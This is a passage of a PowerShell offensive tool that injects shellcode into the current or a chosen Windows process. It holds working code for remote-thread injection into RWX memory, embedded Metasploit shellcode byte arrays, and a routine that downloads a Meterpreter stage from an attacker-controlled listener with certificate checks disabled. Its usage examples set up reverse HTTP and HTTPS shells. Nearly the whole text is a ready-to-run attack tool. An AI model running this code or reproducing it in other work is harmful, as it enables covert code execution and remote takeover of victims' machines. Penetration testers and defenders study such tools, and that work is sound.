VERBOSE: Emitting 32-bit assembly call stub.
|
||||
VERBOSE: Thread call stub memory reserved at 0x001B0000
|
||||
VERBOSE: Shellcode injection complete!
|
||||
|
||||
Description
|
||||
-----------
|
||||
Establishes a reverse https meterpreter payload from within the hidden notepad process. A multi-handler was set up
|
||||
with the following options:
|
||||
|
||||
Payload options (windows/meterpreter/reverse_https):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
EXITFUNC thread yes Exit technique: seh, thread, process, none
|
||||
LHOST 192.168.30.129 yes The local listener hostname
|
||||
LPORT 443 yes The local listener port
|
||||
|
||||
.EXAMPLE
|
||||
|
||||
C:\PS> Inject-Shellcode -Payload windows/meterpreter/reverse_https -Lhost 192.168.30.129 -Lport 80
|
||||
|
||||
Description
|
||||
-----------
|
||||
Establishes a reverse http meterpreter payload from within the running PwerShell process. A multi-handler was set up
|
||||
with the following options:
|
||||
|
||||
Payload options (windows/meterpreter/reverse_http):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
EXITFUNC thread yes Exit technique: seh, thread, process, none
|
||||
LHOST 192.168.30.129 yes The local listener hostname
|
||||
LPORT 80 yes The local listener port
|
||||
|
||||
.EXAMPLE
|
||||
|
||||
C:\PS> Inject-Shellcode -Shellcode @(0x90,0x90,0xC3)
|
||||
|
||||
Description
|
||||
-----------
|
||||
Overrides the shellcode included in the script with custom shellcode - 0x90 (NOP), 0x90 (NOP), 0xC3 (RET)
|
||||
Warning: This script has no way to validate that your shellcode is 32 vs. 64-bit!
|
||||
|
||||
.EXAMPLE
|
||||
|
||||
C:\PS> Inject-Shellcode -ListMetasploitPayloads
|
||||
|
||||
Payloads
|
||||
--------
|
||||
windows/meterpreter/reverse_http
|
||||
windows/meterpreter/reverse_https
|
||||
|
||||
.NOTES
|
||||
|
||||
Use the '-Verbose' option to print detailed information.
|
||||
|
||||
Place your generated shellcode in $Shellcode32 and $Shellcode64 variables or pass it in as a byte array via the '-Shellcode' parameter
|
||||
|
||||
Big thanks to Oisin (x0n) Grehan (@oising) for answering all my obscure questions at the drop of a hat - http://www.nivot.org/
|
||||
|
||||
.LINK
|
||||
|
||||
http://www.exploit-monday.com
|
||||
#>
|
||||
|
||||
[CmdletBinding( DefaultParameterSetName = 'RunLocal', SupportsShouldProcess = $True , ConfirmImpact = 'High')] Param (
|
||||
[ValidateNotNullOrEmpty()]
|
||||
[UInt16]
|
||||
$ProcessID,
|
||||
|
||||
[Parameter( ParameterSetName = 'RunLocal' )]
|
||||
[ValidateNotNullOrEmpty()]
|
||||
[Byte[]]
|
||||
$Shellcode,
|
||||
|
||||
[Parameter( ParameterSetName = 'Metasploit' )]
|
||||
[ValidateSet( 'windows/meterpreter/reverse_http',
|
||||
'windows/meterpreter/reverse_https',
|
||||
IgnoreCase = $True )]
|
||||
[String]
|
||||
$Payload = 'windows/meterpreter/reverse_http',
|
||||
|
||||
[Parameter( ParameterSetName = 'ListPayloads' )]
|
||||
[Switch]
|
||||
$ListMetasploitPayloads,
|
||||
|
||||
[Parameter( Mandatory = $True,
|
||||
ParameterSetName = 'Metasploit' )]
|
||||
[ValidateNotNullOrEmpty()]
|
||||
[String]
|
||||
$Lhost = '127.0.0.1',
|
||||
|
||||
[Parameter( Mandatory = $True,
|
||||
ParameterSetName = 'Metasploit' )]
|
||||
[ValidateRange( 1,65535 )]
|
||||
[Int]
|
||||
$Lport = 8443,
|
||||
|
||||
[Parameter( ParameterSetName = 'Metasploit' )]
|
||||
[ValidateNotNull()]
|
||||
[String]
|
||||
$UserAgent = 'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)',
|
||||
|
||||
[Switch]
|
||||
$Force = $False
|
||||
)
|
||||
|
||||
Set-StrictMode -Version 2.0
|
||||
|
||||
# List all available Metasploit payloads and exit the function
|
||||
if ($PsCmdlet.ParameterSetName -eq 'ListPayloads')
|
||||
{
|
||||
$AvailablePayloads = (Get-Command Inject-Shellcode).Parameters['Payload'].Attributes |
|
||||
Where-Object {$_.TypeId -eq [System.Management.Automation.ValidateSetAttribute]}
|
||||
|
||||
foreach ($Payload in $AvailablePayloads.ValidValues)
|
||||
{
|
||||
New-Object PSObject -Property @{ Payloads = $Payload }
|
||||
}
|
||||
|
||||
Return
|
||||
}
|
||||
|
||||
if ( $PSBoundParameters['ProcessID'] )
|
||||
{
|
||||
# Ensure a valid process ID was provided
|
||||
# This could have been validated via 'ValidateScript' but the error generated with Get-Process is more descriptive
|
||||
Get-Process -Id $ProcessID -ErrorAction Stop | Out-Null
|
||||
}
|
||||
|
||||
function Local:Get-DelegateType
|
||||
{
|
||||
Param
|
||||
(
|
||||
[OutputType([Type])]
|
||||
|
||||
[Parameter( Position = 0)]
|
||||
[Type[]]
|
||||
$Parameters = (New-Object Type[](0)),
|
||||
|
||||
[Parameter( Position = 1 )]
|
||||
[Type]
|
||||
$ReturnType = [Void]
|
||||
)
|
||||
|
||||
$Domain = [AppDomain]::CurrentDomain
|
||||
$DynAssembly = New-Object System.Reflection.AssemblyName('ReflectedDelegate')
|
||||
$AssemblyBuilder = $Domain.DefineDynamicAssembly($DynAssembly, [System.Reflection.Emit.AssemblyBuilderAccess]::Run)
|
||||
$ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('InMemoryModule', $false)
|
||||
$TypeBuilder = $ModuleBuilder.DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])
|
||||
$ConstructorBuilder = $TypeBuilder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $Parameters)
|
||||
$ConstructorBuilder.SetImplementationFlags('Runtime, Managed')
|
||||
$MethodBuilder = $TypeBuilder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $ReturnType, $Parameters)
|
||||
$MethodBuilder.SetImplementationFlags('Runtime, Managed')
|
||||
|
||||
Write-Output $TypeBuilder.CreateType()
|
||||
}
|
||||
|
||||
function Local:Get-ProcAddress
|
||||
{
|
||||
Param
|
||||
(
|
||||
[OutputType([IntPtr])]
|
||||
|
||||
[Parameter( Position = 0, Mandatory = $True )]
|
||||
[String]
|
||||
$Module,
|
||||
|
||||
[Parameter( Position = 1, Mandatory = $True )]
|
||||
[String]
|
||||
$Procedure
|
||||
)
|
||||
|
||||
# Get a reference to System.dll in the GAC
|
||||
$SystemAssembly = [AppDomain]::CurrentDomain.GetAssemblies() |
|
||||
Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }
|
||||
$UnsafeNativeMethods = $SystemAssembly.GetType('Microsoft.Win32.UnsafeNativeMethods')
|
||||
# Get a reference to the GetModuleHandle and GetProcAddress methods
|
||||
$GetModuleHandle = $UnsafeNativeMethods.GetMethod('GetModuleHandle')
|
||||
$GetProcAddress = $UnsafeNativeMethods.GetMethod('GetProcAddress')
|
||||
# Get a handle to the module specified
|
||||
$Kern32Handle = $GetModuleHandle.Invoke($null, @($Module))
|
||||
$tmpPtr = New-Object IntPtr
|
||||
$HandleRef = New-Object System.Runtime.InteropServices.HandleRef($tmpPtr, $Kern32Handle)
|
||||
|
||||
# Return the address of the function
|
||||
Write-Output $GetProcAddress.Invoke($null, @([System.Runtime.InteropServices.HandleRef]$HandleRef, $Procedure))
|
||||
}
|
||||
|
||||
# Emits a shellcode stub that when injected will create a thread and pass execution to the main shellcode payload
|
||||
function Local:Emit-CallThreadStub ([IntPtr] $BaseAddr, [IntPtr] $ExitThreadAddr, [Int] $Architecture)
|
||||
{
|
||||
$IntSizePtr = $Architecture / 8
|
||||
|
||||
function Local:ConvertTo-LittleEndian ([IntPtr] $Address)
|
||||
{
|
||||
$LittleEndianByteArray = New-Object Byte[](0)
|
||||
$Address.ToString("X$($IntSizePtr*2)") -split '([A-F0-9]{2})' | ForEach-Object { if ($_) { $LittleEndianByteArray += [Byte] ('0x{0}' -f $_) } }
|
||||
[System.Array]::Reverse($LittleEndianByteArray)
|
||||
|
||||
Write-Output $LittleEndianByteArray
|
||||
}
|
||||
|
||||
$CallStub = New-Object Byte[](0)
|
||||
|
||||
if ($IntSizePtr -eq 8)
|
||||
{
|
||||
[Byte[]] $CallStub = 0x48,0xB8 # MOV QWORD RAX, &shellcode
|
||||
$CallStub += ConvertTo-LittleEndian $BaseAddr # &shellcode
|
||||
$CallStub += 0xFF,0xD0 # CALL RAX
|
||||
$CallStub += 0x6A,0x00 # PUSH BYTE 0
|
||||
$CallStub += 0x48,0xB8 # MOV QWORD RAX, &ExitThread
|
||||
$CallStub += ConvertTo-LittleEndian $ExitThreadAddr # &ExitThread
|
||||
$CallStub += 0xFF,0xD0 # CALL RAX
|
||||
}
|
||||
else
|
||||
{
|
||||
[Byte[]] $CallStub = 0xB8 # MOV DWORD EAX, &shellcode
|
||||
$CallStub += ConvertTo-LittleEndian $BaseAddr # &shellcode
|
||||
$CallStub += 0xFF,0xD0 # CALL EAX
|
||||
$CallStub += 0x6A,0x00 # PUSH BYTE 0
|
||||
$CallStub += 0xB8 # MOV DWORD EAX, &ExitThread
|
||||
$CallStub += ConvertTo-LittleEndian $ExitThreadAddr # &ExitThread
|
||||
$CallStub += 0xFF,0xD0 # CALL EAX
|
||||
}
|
||||
|
||||
Write-Output $CallStub
|
||||
}
|
||||
|
||||
function Local:Inject-RemoteShellcode ([Int] $ProcessID)
|
||||
{
|
||||
# Open a handle to the process you want to inject into
|
||||
$hProcess = $OpenProcess.Invoke(0x001F0FFF, $false, $ProcessID) # ProcessAccessFlags.All (0x001F0FFF)
|
||||
|
||||
if (!$hProcess)
|
||||
{
|
||||
Throw "Unable to open a process handle for PID: $ProcessID"
|
||||
}
|
||||
|
||||
$IsWow64 = $false
|
||||
|
||||
if ($64bitCPU) # Only perform theses checks if CPU is 64-bit
|
||||
{
|
||||
# Determine is the process specified is 32 or 64 bit
|
||||
$IsWow64Process.Invoke($hProcess, [Ref] $IsWow64) | Out-Null
|
||||
|
||||
if ((!$IsWow64) -and $PowerShell32bit)
|
||||
{
|
||||
Throw 'Unable to inject 64-bit shellcode from within 32-bit Powershell. Use the 64-bit version of Powershell if you want this to work.'
|
||||
}
|
||||
elseif ($IsWow64) # 32-bit Wow64 process
|
||||
{
|
||||
if ($Shellcode32.Length -eq 0)
|
||||
{
|
||||
Throw 'No shellcode was placed in the $Shellcode32 variable!'
|
||||
}
|
||||
|
||||
$Shellcode = $Shellcode32
|
||||
Write-Verbose 'Injecting into a Wow64 process.'
|
||||
Write-Verbose 'Using 32-bit shellcode.'
|
||||
}
|
||||
else # 64-bit process
|
||||
{
|
||||
if ($Shellcode64.Length -eq 0)
|
||||
{
|
||||
Throw 'No shellcode was placed in the $Shellcode64 variable!'
|
||||
}
|
||||
|
||||
$Shellcode = $Shellcode64
|
||||
Write-Verbose 'Using 64-bit shellcode.'
|
||||
}
|
||||
}
|
||||
else # 32-bit CPU
|
||||
{
|
||||
if ($Shellcode32.Length -eq 0)
|
||||
{
|
||||
Throw 'No shellcode was placed in the $Shellcode32 variable!'
|
||||
}
|
||||
|
||||
$Shellcode = $Shellcode32
|
||||
Write-Verbose 'Using 32-bit shellcode.'
|
||||
}
|
||||
|
||||
# Reserve and commit enough memory in remote process to hold the shellcode
|
||||
$RemoteMemAddr = $VirtualAllocEx.Invoke($hProcess, [IntPtr]::Zero, $Shellcode.Length + 1, 0x3000, 0x40) # (Reserve|Commit, RWX)
|
||||
|
||||
if (!$RemoteMemAddr)
|
||||
{
|
||||
Throw "Unable to allocate shellcode memory in PID: $ProcessID"
|
||||
}
|
||||
|
||||
Write-Verbose "Shellcode memory reserved at 0x$($RemoteMemAddr.ToString("X$([IntPtr]::Size*2)"))"
|
||||
|
||||
# Copy shellcode into the previously allocated memory
|
||||
$WriteProcessMemory.Invoke($hProcess, $RemoteMemAddr, $Shellcode, $Shellcode.Length, [Ref] 0) | Out-Null
|
||||
|
||||
# Get address of ExitThread function
|
||||
$ExitThreadAddr = Get-ProcAddress kernel32.dll ExitThread
|
||||
|
||||
if ($IsWow64)
|
||||
{
|
||||
# Build 32-bit inline assembly stub to call the shellcode upon creation of a remote thread.
|
||||
$CallStub = Emit-CallThreadStub $RemoteMemAddr $ExitThreadAddr 32
|
||||
|
||||
Write-Verbose 'Emitting 32-bit assembly call stub.'
|
||||
}
|
||||
else
|
||||
{
|
||||
# Build 64-bit inline assembly stub to call the shellcode upon creation of a remote thread.
|
||||
$CallStub = Emit-CallThreadStub $RemoteMemAddr $ExitThreadAddr 64
|
||||
|
||||
Write-Verbose 'Emitting 64-bit assembly call stub.'
|
||||
}
|
||||
|
||||
# Allocate inline assembly stub
|
||||
$RemoteStubAddr = $VirtualAllocEx.Invoke($hProcess, [IntPtr]::Zero, $CallStub.Length, 0x3000, 0x40) # (Reserve|Commit, RWX)
|
||||
|
||||
if (!$RemoteStubAddr)
|
||||
{
|
||||
Throw "Unable to allocate thread call stub memory in PID: $ProcessID"
|
||||
}
|
||||
|
||||
Write-Verbose "Thread call stub memory reserved at 0x$($RemoteStubAddr.ToString("X$([IntPtr]::Size*2)"))"
|
||||
|
||||
# Write 32-bit assembly stub to remote process memory space
|
||||
$WriteProcessMemory.Invoke($hProcess, $RemoteStubAddr, $CallStub, $CallStub.Length, [Ref] 0) | Out-Null
|
||||
|
||||
# Execute shellcode as a remote thread
|
||||
$ThreadHandle = $CreateRemoteThread.Invoke($hProcess, [IntPtr]::Zero, 0, $RemoteStubAddr, $RemoteMemAddr, 0, [IntPtr]::Zero)
|
||||
|
||||
if (!$ThreadHandle)
|
||||
{
|
||||
Throw "Unable to launch remote thread in PID: $ProcessID"
|
||||
}
|
||||
|
||||
# Close process handle
|
||||
$CloseHandle.Invoke($hProcess) | Out-Null
|
||||
|
||||
Write-Verbose 'Shellcode injection complete!'
|
||||
}
|
||||
|
||||
function Local:Inject-LocalShellcode
|
||||
{
|
||||
if ($PowerShell32bit) {
|
||||
if ($Shellcode32.Length -eq 0)
|
||||
{
|
||||
Throw 'No shellcode was placed in the $Shellcode32 variable!'
|
||||
return
|
||||
}
|
||||
|
||||
$Shellcode = $Shellcode32
|
||||
Write-Verbose 'Using 32-bit shellcode.'
|
||||
}
|
||||
else
|
||||
{
|
||||
if ($Shellcode64.Length -eq 0)
|
||||
{
|
||||
Throw 'No shellcode was placed in the $Shellcode64 variable!'
|
||||
return
|
||||
}
|
||||
|
||||
$Shellcode = $Shellcode64
|
||||
Write-Verbose 'Using 64-bit shellcode.'
|
||||
}
|
||||
|
||||
# Allocate RWX memory for the shellcode
|
||||
$BaseAddress = $VirtualAlloc.Invoke([IntPtr]::Zero, $Shellcode.Length + 1, 0x3000, 0x40) # (Reserve|Commit, RWX)
|
||||
if (!$BaseAddress)
|
||||
{
|
||||
Throw "Unable to allocate shellcode memory in PID: $ProcessID"
|
||||
}
|
||||
|
||||
Write-Verbose "Shellcode memory reserved at 0x$($BaseAddress.ToString("X$([IntPtr]::Size*2)"))"
|
||||
|
||||
# Copy shellcode to RWX buffer
|
||||
[System.Runtime.InteropServices.Marshal]::Copy($Shellcode, 0, $BaseAddress, $Shellcode.Length)
|
||||
|
||||
# Get address of ExitThread function
|
||||
$ExitThreadAddr = Get-ProcAddress kernel32.dll ExitThread
|
||||
|
||||
if ($PowerShell32bit)
|
||||
{
|
||||
$CallStub = Emit-CallThreadStub $BaseAddress $ExitThreadAddr 32
|
||||
|
||||
Write-Verbose 'Emitting 32-bit assembly call stub.'
|
||||
}
|
||||
else
|
||||
{
|
||||
$CallStub = Emit-CallThreadStub $BaseAddress $ExitThreadAddr 64
|
||||
|
||||
Write-Verbose 'Emitting 64-bit assembly call stub.'
|
||||
}
|
||||
|
||||
# Allocate RWX memory for the thread call stub
|
||||
$CallStubAddress = $VirtualAlloc.Invoke([IntPtr]::Zero, $CallStub.Length + 1, 0x3000, 0x40) # (Reserve|Commit, RWX)
|
||||
if (!$CallStubAddress)
|
||||
{
|
||||
Throw "Unable to allocate thread call stub."
|
||||
}
|
||||
|
||||
Write-Verbose "Thread call stub memory reserved at 0x$($CallStubAddress.ToString("X$([IntPtr]::Size*2)"))"
|
||||
|
||||
# Copy call stub to RWX buffer
|
||||
[System.Runtime.InteropServices.Marshal]::Copy($CallStub, 0, $CallStubAddress, $CallStub.Length)
|
||||
|
||||
# Launch shellcode in it's own thread
|
||||
$ThreadHandle = $CreateThread.Invoke([IntPtr]::Zero, 0, $CallStubAddress, $BaseAddress, 0, [IntPtr]::Zero)
|
||||
if (!$ThreadHandle)
|
||||
{
|
||||
Throw "Unable to launch thread."
|
||||
}
|
||||
|
||||
# Wait for shellcode thread to terminate
|
||||
$WaitForSingleObject.Invoke($ThreadHandle, 0xFFFFFFFF) | Out-Null
|
||||
|
||||
$VirtualFree.Invoke($CallStubAddress, $CallStub.Length + 1, 0x8000) | Out-Null # MEM_RELEASE (0x8000)
|
||||
$VirtualFree.Invoke($BaseAddress, $Shellcode.Length + 1, 0x8000) | Out-Null # MEM_RELEASE (0x8000)
|
||||
|
||||
Write-Verbose 'Shellcode injection complete!'
|
||||
}
|
||||
|
||||
# A valid pointer to IsWow64Process will be returned if CPU is 64-bit
|
||||
$IsWow64ProcessAddr = Get-ProcAddress kernel32.dll IsWow64Process
|
||||
if ($IsWow64ProcessAddr)
|
||||
{
|
||||
$IsWow64ProcessDelegate = Get-DelegateType @([IntPtr], [Bool].MakeByRefType()) ([Bool])
|
||||
$IsWow64Process = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($IsWow64ProcessAddr, $IsWow64ProcessDelegate)
|
||||
|
||||
$64bitCPU = $true
|
||||
}
|
||||
else
|
||||
{
|
||||
$64bitCPU = $false
|
||||
}
|
||||
|
||||
if ([IntPtr]::Size -eq 4)
|
||||
{
|
||||
$PowerShell32bit = $true
|
||||
}
|
||||
else
|
||||
{
|
||||
$PowerShell32bit = $false
|
||||
}
|
||||
|
||||
if ($PsCmdlet.ParameterSetName -eq 'Metasploit')
|
||||
{
|
||||
if (!$PowerShell32bit) {
|
||||
# The currently supported Metasploit payloads are 32-bit. This block of code implements the logic to execute this script from 32-bit PowerShell
|
||||
# Get this script's contents and pass it to 32-bit powershell with the same parameters passed to this function
|
||||
|
||||
# Pull out just the content of the this script's invocation. This is only accessible via a private field of the InvocationInfo object instance
|
||||
$RootInvocation = $MyInvocation.GetType().GetField('_scriptPosition', 'NonPublic, Instance').GetValue($MyInvocation).Text
|
||||
|
||||
$Response = $True
|
||||
|
||||
if ( $Force -or ( $Response = $psCmdlet.ShouldContinue( "Do you want to launch the payload from x86 Powershell?",
|
||||
"Attempt to execute 32-bit shellcode from 64-bit Powershell. Note: This process takes about one minute. Be patient! You will also see some artifacts of the script loading in the other process." ) ) ) { }
|
||||
|
||||
if ( !$Response )
|
||||
{
|
||||
# User opted not to launch the 32-bit payload from 32-bit PowerShell. Exit function
|
||||
Return
|
||||
}
|
||||
|
||||
# Since the shellcode will run in a noninteractive instance of PowerShell, make sure the -Force switch is included so that there is no warning prompt.
|
||||
if ($MyInvocation.BoundParameters['Force'])
|
||||
{
|
||||
Write-Verbose "Executing the following from 32-bit PowerShell: $RootInvocation"
|
||||
$Command = "function $($MyInvocation.InvocationName) {`n" + $MyInvocation.MyCommand.ScriptBlock + "`n}`n$($RootInvocation)`n`n"
|
||||
}
|
||||
else
|
||||
{
|
||||
Write-Verbose "Executing the following from 32-bit PowerShell: $RootInvocation -Force"
|
||||
$Command = "function $($MyInvocation.InvocationName) {`n" + $MyInvocation.MyCommand.ScriptBlock + "`n}`n$($RootInvocation) -Force`n`n"
|
||||
}
|
||||
|
||||
$CommandBytes = [System.Text.Encoding]::Ascii.GetBytes($Command)
|
||||
$EncodedCommand = [Convert]::ToBase64String($CommandBytes)
|
||||
|
||||
$Execute = '$Command' + " | $Env:windir\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -NoProfile -Command -"
|
||||
Invoke-Expression -Command $Execute | Out-Null
|
||||
|
||||
# Exit the script since the shellcode will be running from x86 PowerShell
|
||||
Return
|
||||
}
|
||||
|
||||
$Response = $True
|
||||
|
||||
if ( $Force -or ( $Response = $psCmdlet.ShouldContinue( "Do you know what you're doing?",
|
||||
"About to download Metasploit payload '$($Payload)' LHOST=$($Lhost), LPORT=$($Lport)" ) ) ) { }
|
||||
|
||||
if ( !$Response )
|
||||
{
|
||||
# User opted not to carry out download of Metasploit payload. Exit function
|
||||
Return
|
||||
}
|
||||
|
||||
switch ($Payload)
|
||||
{
|
||||
'windows/meterpreter/reverse_http'
|
||||
{
|
||||
$SSL = ''
|
||||
}
|
||||
|
||||
'windows/meterpreter/reverse_https'
|
||||
{
|
||||
$SSL = 's'
|
||||
# Accept invalid certificates
|
||||
[System.Net.ServicePointManager]::ServerCertificateValidationCallback = { $true }
|
||||
}
|
||||
}
|
||||
|
||||
# Meterpreter expects 'INITM' in the URI in order to initiate stage 0. Awesome authentication, huh?
|
||||
$Request = "http$($SSL)://$($Lhost):$($Lport)/INITM"
|
||||
Write-Verbose "Requesting meterpreter payload from $Request"
|
||||
|
||||
$Uri = New-Object Uri($Request)
|
||||
$WebClient = New-Object System.Net.WebClient
|
||||
$WebClient.Headers.Add('user-agent', "$UserAgent")
|
||||
|
||||
try
|
||||
{
|
||||
[Byte[]] $Shellcode32 = $WebClient.DownloadData($Uri)
|
||||
}
|
||||
catch
|
||||
{
|
||||
Throw "$($Error[0].Exception.InnerException.InnerException.Message)"
|
||||
}
|
||||
[Byte[]] $Shellcode64 = $Shellcode32
|
||||
|
||||
}
|
||||
elseif ($PSBoundParameters['Shellcode'])
|
||||
{
|
||||
# Users passing in shellcode through the '-Shellcode' parameter are responsible for ensuring it targets
|
||||
# the correct architechture - x86 vs. x64. This script has no way to validate what you provide it.
|
||||
[Byte[]] $Shellcode32 = $Shellcode
|
||||
[Byte[]] $Shellcode64 = $Shellcode32
|
||||
}
|
||||
else
|
||||
{
|
||||
# Pop a calc... or whatever shellcode you decide to place in here
|
||||
# I sincerely hope you trust that this shellcode actually pops a calc...
|
||||
# Insert your shellcode here in the for 0xXX,0xXX,...
|
||||
# 32-bit payload
|
||||
# msfpayload windows/exec CMD="cmd /k calc" EXITFUNC=thread
|
||||
[Byte[]] $Shellcode32 = @(0xfc,0xe8,0x89,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xd2,0x64,0x8b,0x52,0x30,0x8b,
|
||||
0x52,0x0c,0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff,0x31,0xc0,
|
||||
0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0xe2,0xf0,0x52,0x57,
|
||||
0x8b,0x52,0x10,0x8b,0x42,0x3c,0x01,0xd0,0x8b,0x40,0x78,0x85,0xc0,0x74,0x4a,0x01,
|
||||
0xd0,0x50,0x8b,0x48,0x18,0x8b,0x58,0x20,0x01,0xd3,0xe3,0x3c,0x49,0x8b,0x34,0x8b,
|
||||
0x01,0xd6,0x31,0xff,0x31,0xc0,0xac,0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf4,
|
||||
0x03,0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe2,0x58,0x8b,0x58,0x24,0x01,0xd3,0x66,0x8b,
|
||||
0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04,0x8b,0x01,0xd0,0x89,0x44,0x24,0x24,
|
||||
0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x58,0x5f,0x5a,0x8b,0x12,0xeb,0x86,0x5d,
|
||||
0x6a,0x01,0x8d,0x85,0xb9,0x00,0x00,0x00,0x50,0x68,0x31,0x8b,0x6f,0x87,0xff,0xd5,
|
||||
0xbb,0xe0,0x1d,0x2a,0x0a,0x68,0xa6,0x95,0xbd,0x9d,0xff,0xd5,0x3c,0x06,0x7c,0x0a,
|
||||
0x80,0xfb,0xe0,0x75,0x05,0xbb,0x47,0x13,0x72,0x6f,0x6a,0x00,0x53,0xff,0xd5,0x63,
|
||||
0x61,0x6c,0x63,0x00)
|
||||
|
||||
# 64-bit payload
|
||||
# msfpayload windows/x64/exec CMD="calc" EXITFUNC=thread
|
||||
[Byte[]] $Shellcode64 = @(0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xc0,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,0x51,
|
||||
0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x48,0x8b,0x52,
|
||||
0x20,0x48,0x8b,0x72,0x50,0x48,0x0f,0xb7,0x4a,0x4a,0x4d,0x31,0xc9,0x48,0x31,0xc0,
|
||||
0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0xe2,0xed,
|
||||
0x52,0x41,0x51,0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,0x48,0x01,0xd0,0x8b,0x80,0x88,
|
||||
0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x67,0x48,0x01,0xd0,0x50,0x8b,0x48,0x18,0x44,
|
||||
0x8b,0x40,0x20,0x49,0x01,0xd0,0xe3,0x56,0x48,0xff,0xc9,0x41,0x8b,0x34,0x88,0x48,
|
||||
0x01,0xd6,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,
|
||||
0x38,0xe0,0x75,0xf1,0x4c,0x03,0x4c,0x24,0x08,0x45,0x39,0xd1,0x75,0xd8,0x58,0x44,
|
||||
0x8b,0x40,0x24,0x49,0x01,0xd0,0x66,0x41,0x8b,0x0c,0x48,0x44,0x8b,0x40,0x1c,0x49,
|
||||
0x01,0xd0,0x41,0x8b,0x04,0x88,0x48,0x01,0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,
|
||||
0x41,0x58,0x41,0x59,0x41,0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,
|
||||
0x59,0x5a,0x48,0x8b,0x12,0xe9,0x57,0xff,0xff,0xff,0x5d,0x48,0xba,0x01,0x00,0x00,
|
||||
0x00,0x00,0x00,0x00,0x00,0x48,0x8d,0x8d,0x01,0x01,0x00,0x00,0x41,0xba,0x31,0x8b,
|
||||
0x6f,0x87,0xff,0xd5,0xbb,0xe0,0x1d,0x2a,0x0a,0x41,0xba,0xa6,0x95,0xbd,0x9d,0xff,
|
||||
0xd5,0x48,0x83,0xc4,0x28,0x3c,0x06,0x7c,0x0a,0x80,0xfb,0xe0,0x75,0x05,0xbb,0x47,
|
||||
0x13,0x72,0x6f,0x6a,0x00,0x59,0x41,0x89,0xda,0xff,0xd5,0x63,0x61,0x6c,0x63,0x00)
|
||||
}
|
||||
|
||||
if ( $PSBoundParameters['ProcessID'] )
|
||||
{
|
||||
# Inject shellcode into the specified process ID
|
||||
$OpenProcessAddr = Get-ProcAddress kernel32.dll OpenProcess
|
||||
$OpenProcessDelegate = Get-DelegateType @([UInt32], [Bool], [UInt32]) ([IntPtr])
|
||||
$OpenProcess = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($OpenProcessAddr, $OpenProcessDelegate)
|
||||
$VirtualAllocExAddr = Get-ProcAddress kernel32.dll VirtualAllocEx
|
||||
$VirtualAllocExDelegate = Get-DelegateType @([IntPtr], [IntPtr], [Uint32], [UInt32], [UInt32]) ([IntPtr])
|
||||
$VirtualAllocEx = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualAllocExAddr, $VirtualAllocExDelegate)
|
||||
$WriteProcessMemoryAddr = Get-ProcAddress kernel32.dll WriteProcessMemory
|
||||
$WriteProcessMemoryDelegate = Get-DelegateType @([IntPtr], [IntPtr], [Byte[]], [UInt32], [UInt32].MakeByRefType()) ([Bool])
|
||||
$WriteProcessMemory = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($WriteProcessMemoryAddr, $WriteProcessMemoryDelegate)
|
||||
$CreateRemoteThreadAddr = Get-ProcAddress kernel32.dll CreateRemoteThread
|
||||
$CreateRemoteThreadDelegate = Get-DelegateType @([IntPtr], [IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr])
|
||||
$CreateRemoteThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CreateRemoteThreadAddr, $CreateRemoteThreadDelegate)
|
||||
$CloseHandleAddr = Get-ProcAddress kernel32.dll CloseHandle
|
||||
$CloseHandleDelegate = Get-DelegateType @([IntPtr]) ([Bool])
|
||||
$CloseHandle = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CloseHandleAddr, $CloseHandleDelegate)
|
||||
|
||||
Write-Verbose "Injecting shellcode into PID: $ProcessId"
|
||||
|
||||
if ( $Force -or $psCmdlet.ShouldContinue( 'Do you wish to carry out your evil plans?',
|
||||
"Injecting shellcode injecting into $((Get-Process -Id $ProcessId).ProcessName) ($ProcessId)!" ) )
|
||||
{
|
||||
Inject-RemoteShellcode $ProcessId
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
# Inject shellcode into the currently running PowerShell process
|
||||
$VirtualAllocAddr = Get-ProcAddress kernel32.dll VirtualAlloc
|
||||
$VirtualAllocDelegate = Get-DelegateType @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr])
|
||||
$VirtualAlloc = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualAllocAddr, $VirtualAllocDelegate)
|
||||
